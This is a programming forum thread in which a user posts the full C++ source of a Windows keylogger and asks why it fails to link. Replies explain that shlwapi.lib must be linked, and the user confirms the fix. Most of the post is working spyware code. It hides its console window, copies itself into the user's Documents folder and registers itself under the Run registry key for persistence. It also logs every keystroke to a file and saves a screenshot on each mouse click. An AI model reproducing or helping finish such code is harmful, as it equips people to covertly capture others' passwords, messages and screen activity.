Error LNK2019 (PathFileExists and PathFindFileName)

Hello!
I am getting this error when I compile. What am I missing out?

1
2
3
1>keylogger test 2.obj : error LNK2019: unresolved external symbol __imp__PathFileExistsA@4 referenced in function "bool __cdecl mainCopy(void)" (?mainCopy@@YA_NXZ)
1>keylogger test 2.obj : error LNK2019: unresolved external symbol __imp__PathFindFileNameA@4 referenced in function "bool __cdecl mainCopy(void)" (?mainCopy@@YA_NXZ)
1>C:\Users\Anas\documents\visual studio 2010\Projects\keylogger test 2\Debug\keylogger test 2.exe : fatal error LNK1120: 2 unresolved externals


Here's my code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
// keylogger test 2.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <GdiPlus.h>
#include <time.h>
#include <Lmcons.h>
#include <tchar.h>
#include <stdio.h>
#include <shellapi.h>
#include <Shlwapi.h>
#include <shlobj.h>


using namespace std;

void stealth ();
int save (int key_stroke, TCHAR *file);

void gdiscreen();
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid);


bool winStart();  //Windows Startup

bool mainCopy (); // copies to main folder

int main()
{
	stealth ();
	mainCopy ();  //copies to main folder
	winStart();  //Windows Startup
	

	TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.


	TCHAR directory[200];
	wsprintf(directory, "C:/Users/%s/Documents/keylogger" ,pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s", pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s/data", pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s/data/images", pcName, pcName);
	CreateDirectory (directory, NULL);


	TCHAR filename [200];
	wsprintf(filename,"C:/Users/%s/Documents/keylogger/%s/data/Log.txt", pcName, pcName);


	while(1==1)
	{
		for (int keyValue = 0; keyValue < 256; keyValue++)
		{
		  if (GetAsyncKeyState(keyValue) ==-32767)
		  {
			  save(keyValue, filename);
			  break;
		  }
		  
		}
		
	}

	

	system ("PAUSE");
	return 0;
}


void stealth ()
{
	//hides the window
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("consoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

int save (int key_stroke, TCHAR *file){
    if((key_stroke == 1) || (key_stroke == 2)) 
	{
		if(key_stroke == 1)
		{
			FILE *OUTPUT_FILE;
			OUTPUT_FILE = fopen(file, "a+"); 
			fprintf (OUTPUT_FILE, "%s", " [CLICK] ");
			fclose(OUTPUT_FILE);
		}

		gdiscreen();

	}


	else
	{
		FILE *OUTPUT_FILE;
	    OUTPUT_FILE = fopen(file, "a+"); 

   
		if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");	
		else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [WINDOWS] ");
	    else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [CONTROL] ");
	    else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
	    else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [CAPS LOCK] ");
	    else if(key_stroke == 9)   fprintf(OUTPUT_FILE, "%s", "\t");
	    else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [HOME] ");
	    else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [END] ");
	    else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [DELETE] ");
	    else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [PAGE UP] ");
	    else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [INSERT] ");
	    else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [PAGE DOWN] ");

	    else fprintf(OUTPUT_FILE, "%s", &key_stroke);

		fclose(OUTPUT_FILE);
		cout << key_stroke << endl;
	}

return 0;
}



void gdiscreen()
{
	using namespace Gdiplus;
	GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

	{
		

		wchar_t pcName [20];
		DWORD size = sizeof ( pcName );
		GetUserNameW(pcName,&size);

		SYSTEMTIME st;
		GetLocalTime(&st);
		wchar_t filename[200];
		memset(filename,0,sizeof(filename));
		wsprintfW(filename, L"C:/Users/%s/Documents/keylogger/%s/data/images/%04d-%02d-%02d %02d-%02d-%02d_%03d.jpeg" ,pcName, pcName, st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);

		HDC scrdc, memdc;
		HBITMAP membit;
		scrdc = ::GetDC(0);
		int Height = GetSystemMetrics(SM_CYSCREEN);
		int Width = GetSystemMetrics(SM_CXSCREEN);
		memdc = CreateCompatibleDC(scrdc);
		membit = CreateCompatibleBitmap(scrdc, Width, Height);
		HBITMAP hOldBitmap =(HBITMAP) SelectObject(memdc, membit);
		BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);

		Gdiplus::Bitmap bitmap(membit, NULL);
		CLSID clsid;
		GetEncoderClsid(L"image/jpeg", &clsid);
		bitmap.Save(filename , &clsid);

		SelectObject(memdc, hOldBitmap);

		DeleteObject(memdc);

		DeleteObject(membit);

		::ReleaseDC(0,scrdc);
	}

	GdiplusShutdown(gdiplusToken);
}

int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
	using namespace Gdiplus;
	UINT  num = 0;          // number of image encoders
	UINT  size = 0;         // size of the image encoder array in bytes

	ImageCodecInfo* pImageCodecInfo = NULL;

	GetImageEncodersSize(&num, &size);
	if(size == 0)
		return -1;  // Failure

	pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
	if(pImageCodecInfo == NULL)
		return -1;  // Failure

	GetImageEncoders(num, size, pImageCodecInfo);

	for(UINT j = 0; j < num; ++j)
	{
		if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
		{
			*pClsid = pImageCodecInfo[j].Clsid;
			free(pImageCodecInfo);
			return j;  // Success
		}    
	}

	free(pImageCodecInfo);
	return 0;
}





bool winStart()  //Windows Startup

{

    TCHAR szPath[MAX_PATH];

    DWORD pathLen = 0;

	TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.

	char valData [300];
	DWORD sizeV=300;

	sprintf(valData, "\"C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe\"", pcName, pcName);


    // GetModuleFileName returns the number of characters

    // written to the array.

    pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);

    if (pathLen == 0)

    {

    return false;

    }

 

    HKEY newValue;

 

    if (RegOpenKey(HKEY_CURRENT_USER,

    TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),

    &newValue) != ERROR_SUCCESS)

	{

    return false;

    }

  

    // Need to pass the length of the path string in bytes,

    // which may not equal the number of characters due to

    // character set.

     DWORD pathLenInBytes = pathLen * sizeof(*szPath);

    if (RegSetValueEx(newValue,

    TEXT("keylogger test 2"),

    0,

    REG_SZ,

    (BYTE*) valData,

    sizeV) != ERROR_SUCCESS)

    {

    RegCloseKey(newValue);

    return false;

    }

 

    RegCloseKey(newValue);

 

    return true;

}

bool mainCopy ()
{

	// get path and file name of this .exe
    char szSource[MAX_PATH] = {0};
    GetModuleFileName (0, szSource, MAX_PATH);

    // get file name from path
	char * strFileName= PathFindFileName(szSource);
    

	// make sure filename is "keylogger test 2"
	char name [20]= "keylogger test 2";
	rename (strFileName, name );
	//strFileName = PathFindFileName(name);

	// get path to 'keylogger' folder
    TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.
	char directory [300];
	DWORD sizeV=300;
	sprintf(directory, "C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe", pcName, pcName);

   // fill FileOp structure (for copying a file)
   SHFILEOPSTRUCT fo = {0};
   fo.hwnd = NULL;
   fo.pFrom = szSource;
   fo.pTo = directory;
   fo.wFunc = FO_COPY;
   fo.fFlags = FOF_NOCONFIRMATION|FOF_SILENT;

   // if file isn't already there,
   // do file operation (copy)
   if (!PathFileExists(directory))
   {
      SHFileOperation(&fo);
	  return true;
   }
   else
   {
	   return false;
   }

}


Thanks :D
Last edited on
It cannot find PathFindFileName() and PathFileExists() function definitions.
Some library files isn't linked probably.
But I included "Shlwapi.h" which should do the trick.
No, that's just the header file that provides the declarations. The definitions of the functions are in some library. Make sure you link that library properly, like miinipaa said.
What do I search for exactly to find out which library I need?
In every MSDN page you get the library name required (some of them are automatically added by the compiler, but not all)

In your case it needs shlwapi.lib.
http://msdn.microsoft.com/en-us/library/windows/desktop/bb773584(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/bb773589(v=vs.85).aspx
Thank you, this solved my problem.
Topic archived. No new replies allowed.